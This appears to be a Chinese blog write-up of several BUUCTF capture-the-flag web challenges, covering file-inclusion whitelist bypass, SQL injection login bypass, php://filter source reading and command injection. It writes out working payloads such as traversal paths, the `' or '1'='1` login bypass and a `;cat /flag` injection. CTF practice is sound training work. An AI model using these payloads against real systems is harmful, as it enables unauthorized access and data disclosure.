BUUCTF
作者:互联网
[HCTF 2018]WarmUp
过程
1.找源代码
右键查看源代码或者F12发现提示
看到还有一个hint.php,再访问一下
2.分析源代码
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
先看最后一段,只要满足这一段代码就能包含出我们想要的ffffllllaaaagggg
文件,而这个if判断语句要求
1.值不为空
2.值为字符串
3.能够通过checkFile的验证
其实主要就是要求满足第3点,那再来分析checkFile
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
首先说明将输入的参数传给page,然后声明了whitelist数组,第一个if语句判断page不存在或者page不为字符串
if (in_array($page, $whitelist)) {
return true;
}
第二个if语句判断page参数是否为whitelist数组中的值,意思是参数只能是hint.php或者source.php
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
首先截断page中的值,这里截的是?前的值,然后判断page参数是否为whitelist数组中的值。
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
这里先对page参数进行url编码,然后再截断,这里因为服务器也会解码一次,所以我们构造参数的时候直接编码了两次(但这里好像编码不编码都可以),构造
source.php?file=source.php?../../../../../ffffllllaaaagggg
index.php?file=hint.php?../../../../../ffffllllaaaagggg
[极客大挑战 2019]EasySQL
简单的sql注入,并不是和之间一样查所有信息才能得到flag,这里只要成功登陆就能得到flag
过程
输入admin尝试登陆
这里对username和password均要传入参数,尝试万能语句admin' or '1'='1
check.php?username=admin' or '1'='1&password=admin' or '1'='1
[极客大挑战 2019]Havefun
过程
进去啥也没有。查看右键源代码,发现提示
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->
那就跟着直接传参?cat=dog
啊这,这种题真的存在吗?
[ACTF2020 新生赛]Include
过程
点开tips
啥也没有,这里有两个想法,一种就是先扫目录然后再分析,一种就是尝试读源码,所以我们一遍扫一遍去读源码
php://filter/read=convert.base64-encode/resource=flag.php
php://filter 伪协议文件包含读取源代码,加上read=convert.base64-encode,用base64编码输出
没想到直接出来了一段base64代码
[极客大挑战 2019]Secret File
过程
打开查看源代码,发现一个网址
点击后出现
那抓包看看中间有什么
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
尝试file=flag.php
是不是一个读取源码的题?尝试
secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
得到神秘代码,进行base64解码
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7Y2VmN2U2ODItMGJmNy00YjFiLWI4M2EtMGQyYjI4NDZlMTdlfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=
得到flag与秘密
[ACTF2020 新生赛]Exec
过程
emmm怎么只有一个index页面,尝试直接cat一下flag
ping 127.0.0.1;cat /flag
## [GXYCTF2019]Ping Ping Ping
标签:BUUCTF,..,whitelist,flag,file,php,page 来源: https://blog.csdn.net/weixin_54648419/article/details/118877689